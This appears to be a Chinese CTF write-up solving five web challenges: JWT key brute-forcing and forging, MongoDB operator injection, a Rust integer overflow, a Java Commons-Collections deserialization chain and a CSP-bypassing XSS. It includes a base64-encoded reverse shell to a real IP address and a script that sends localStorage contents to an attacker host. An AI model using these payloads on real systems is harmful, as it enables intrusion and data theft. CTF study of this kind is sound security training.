web

hello_jwt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import flask
from flask import *
import os
import jwt
from key import KEY, FLAG

users = {}
app = flask.Flask(__name__)


@app.route("/")
def index():
file_path = os.path.abspath(__file__)
with open(file_path, "r", encoding="utf-8") as file:
code = file.read()
return render_template("index.html", code=code)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
role = "guest"
if username in users:
return "User already exists"
users[username] = {"password": password, "role": role}
return redirect(url_for("login"), code=302)
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username not in users:
return "User does not exist"
if users[username]["password"] != password:
return "Invalid password"
payload = {"username": username, "role": users[username]["role"]}
try:
token = jwt.encode(payload, KEY, algorithm="HS256")
response = make_response(redirect(url_for("flag"), code=302))
response.set_cookie("token", token)
return response
except Exception as e:
return str(e)
return render_template("login.html")


@app.route("/flag", methods=["GET"])
def flag():
token = request.cookies.get("token")
if not token:
return redirect(url_for("login"), code=302)
try:
payload = jwt.decode(token, KEY, algorithms=["HS256"])
except jwt.ExpiredSignatureError:
return "Token expired"
except jwt.InvalidTokenError:
return "Invalid token"
if payload["role"] != "admin":
return "Only admin can view the flag"
return FLAG


@app.route("/hint1", methods=["GET"])
def hint1():
token = request.cookies.get("token")
if not token:
return redirect(url_for("login"), code=302)
try:
payload = jwt.decode(
token, KEY, algorithms=["HS256"], options={"verify_signature": False}
)
except jwt.ExpiredSignatureError:
return "Token expired"
except jwt.InvalidTokenError:
return "Invalid token"
if payload["role"] != "Please, give me the hint":
return "Beg me for the hint"
return render_template("hint1.html")


@app.route("/hint2", methods=["GET"])
def hint2():
tmp_key = (
"Very very long and include many !@#$)*$&@) so you can't crack's secret key"
)
token = request.cookies.get("token")
if not token:
return redirect(url_for("login"), code=302)
try:
payload = jwt.decode(token, tmp_key, algorithms=["HS256"])
except jwt.ExpiredSignatureError:
return "Token expired"
except jwt.InvalidTokenError:
return "Invalid token"
if payload["role"] != "But, I can see the temporary key":
return "Beg me for the hint"
return render_template("hint2.html")


if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)

先看/hint2,拿到tmp_key后用jwt.io来计算jwt

再看/hint1,注意

1
2
3
payload = jwt.decode(
token, KEY, algorithms=["HS256"], options={"verify_signature": False}
)

也就是说解密jwt不受KEY影响,无需密钥直接生成jwt就好

那么尝试爆破,先生成字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import itertools
import string
import jwt

def generate_strings():
alphabet = string.ascii_lowercase
for length in range(4, 7): # 从长度4到6
for combination in itertools.product(alphabet, repeat=length):
yield ''.join(combination)


if __name__ == '__main__':
file = open("secret.txt", 'w')
print('[+]generating KEY...')
for s in generate_strings():
file.write(s)
file.write('\n')
if s == 'zzzzzz':
break
file.close()

然后用工具wkend/CrackJWTKey: JWT秘钥爆破脚本 (github.com),得到密钥zrajz。用jwt.io伪造后发包

next.db

关键部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//init.js
const { MongoClient } = require('mongodb');

const uri = process.env.MONGODB_URI || "mongodb://127.0.0.1:27017/";
const client = new MongoClient(uri);

async function init() {
const db = client.db('next-db');
const collection = db.collection('frameworks');

await collection.insertMany([
{
id: 0,
name: "flag",
description: process.env.FLAG || "flag{test}",
},
{
id: 1,
name: "Next.js",
description: "The React Framework for the Web",
},
{
id: 2,
name: "Nuxt.js",
description: "The Intuitive Vue Framework",
},
{
id: 3,
name: "React",
description: "The library for web and native user interfaces"
},
{
id: 4,
name: "Vue.js",
description: "The Progressive JavaScript Framework"
}
]);

await client.close();
}

init();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//search.js
import { MongoClient } from 'mongodb';

const uri = process.env.MONGODB_URI || "mongodb://127.0.0.1:27017/";
const client = new MongoClient(uri);

export default async function handler(req, res) {
if (req.method !== 'POST') {
return res.status(405).json({ message: 'Method not allowed' });
}

const { name } = req.body;
if (!name) {
return res.status(500).json({ message: 'Name is required' });
}

if (name === "flag") {
return res.status(500).json({ message: 'You are not allowed to search for the flag' });
}

try {
const db = client.db('next-db');
const collection = db.collection('frameworks');
const results = await collection.find({
$or: [
{ name },
{
$and: [
{ description: { $regex: name.toString(), $options: 'i' } },
{ description: { $ne: process.env.FLAG || "flag{test}" } }
]
}
]
}).toArray();

res.status(200).json(results);
} catch (error) {
console.error('Database query error:', error);
res.status(500).json({ message: 'Internal Server Error' });
}
}

mongodb数据库,不能直接查询flag,构造{"$ne":1}查询所有name不为1的用户

cargo_shop

注意到User的balance的变量类型是i32,而GoodspriceHoldinventory变量类型是u32。i32的取值范围为**-2147483648 到2147483647,u32的取值范围为0到4294967295**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#[derive(Debug, Clone, Serialize, Deserialize)]
struct Goods {
name: String,
price: u32,
}

#[derive(Debug, Clone, Serialize, Deserialize)]
struct Hold {
goods: Goods,
inventory: u32,
}

#[derive(Debug, Serialize, Deserialize)]
struct User {
holds: Vec<Hold>,
balance: i32,
}

再来看purchase路由,在处理购买物品的时候先计算costs,而costs是i32类型的,先让其发生溢出,变成负数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#[get("/purchase/{name}/{count}")]
async fn purchase(info: web::Path<(String, u32)>, session: Session) -> Result<String> {
let Some(mut user) = session.get::<User>("user")? else {
return Ok("user not found".to_string());
};

let (name, count) = info.into_inner();

let Some(goods) = GOODS_LIST.iter().find(|v| v.name == name) else {
return Ok("goods not found".to_string());
};

let costs = (goods.price * count) as i32;

if costs <= user.balance {
user.balance -= costs;

if let Some(hold) = user.holds.iter_mut().find(|v| v.goods.name == goods.name) {
hold.inventory += count;
} else {
user.holds.push(Hold {
goods: goods.clone(),
inventory: count,
});
}

session.insert("user", user)?;
Ok(format!("purchase {} x {} success", name, count))
} else {
Ok(format!("you don't have enough balance"))
}
}

在处理购买物品的时候先计算costs再比较costs和balance,而costs是i32类型的,先让其发生溢出,使得costs变成一个负数

然后再卖掉,这里注意不要让balance也溢出了

钱够了之后就可以买flag了

WhySoSerial

反编译jar后先看pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<properties>
<java.version>8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

commons-collections版本为3.2.1,打CC6,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class GadgetChain {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTMyLjg3LjE4My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");
hashMap.remove("key1");
Class<LazyMap> lazyMapClass=LazyMap.class;
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
String data = serializeToBase64(expMap);
System.out.println(data);
}
public static String serializeToBase64(Object o) throws IOException {
ByteArrayOutputStream data=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(data);
oos.writeObject(o);
oos.flush();
oos.close();
return Base64.getEncoder().encodeToString(data.toByteArray());
}

反弹shell后发现读flag权限不够,执行find / -perm -u=s -type f 2>/dev/null发现有/readflag

paste_bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
use std::{env, time::Duration};

use fantoccini::ClientBuilder;

pub async fn visit_paste(id: &str) -> Result<(), Box<dyn std::error::Error>> {
let flag: String = env::var("FLAG").unwrap_or("flag{test}".to_string());
let js = format!("localStorage.setItem('flag', '{}');", flag);

let mut caps = serde_json::map::Map::new();
let opts = serde_json::json!({
"args": [
"--headless",
"--no-sandbox",
"--disable-gpu",
"--disable-dev-shm-usage",
"--remote-debugging-port=9222"
],
});
caps.insert("goog:chromeOptions".to_string(), opts);

let c = ClientBuilder::native()
.capabilities(caps)
.connect("http://bot:4444")
.await?;

println!("visiting home page");
c.goto("http://web:8000/").await?;
c.execute(&js, vec![]).await?;

println!("visiting paste: {}", id);
let view_url = "http://web:8000/view?id=".to_string() + id;
c.goto(&view_url).await?;

println!("bot will sleep for 10s");
tokio::time::sleep(Duration::from_secs(10)).await;

println!("visited paste: {} success", id);
c.close().await?;

Ok(())
}

先看bot.rs,bot在访问paste的过程中,会模拟一个浏览器来访问paste,然后把flag存在这个模拟的浏览器中的localstorage

注意到report.html中的CSP

1
2
<meta http-equiv="Content-Security-Policy"
content="base-uri 'none'; style-src 'unsafe-inline'; script-src 'self' 'sha256-mDsn/yxO0Kbxaggx7bFdeBmrC22U6cePGEUeeSwO+n0=' cdn.tailwindcss.com unpkg.com cdn.jsdelivr.net;">

也就是说只能从cdn.tailwindcss.com, unpkg.com, cdn.jsdelivr.net中加载脚本

这里我用的是cdn.jsdelivr.net,在CDN上部署js代码的步骤参考jsDelivr的正确打开方式 | GamerNoTitle (bili33.top)

1
2
3
//evil.js
var a = localStorage.getItem("flag");
window.open('http://ip:port/'+a);

最后我们需要通过iframe标签来引入外部脚本,note如下

1
<iframe srcdoc="<script src='https://cdn.jsdelivr.net/gh/Lyng3n/eviljs@1.0/evil.js'></script>"></iframe>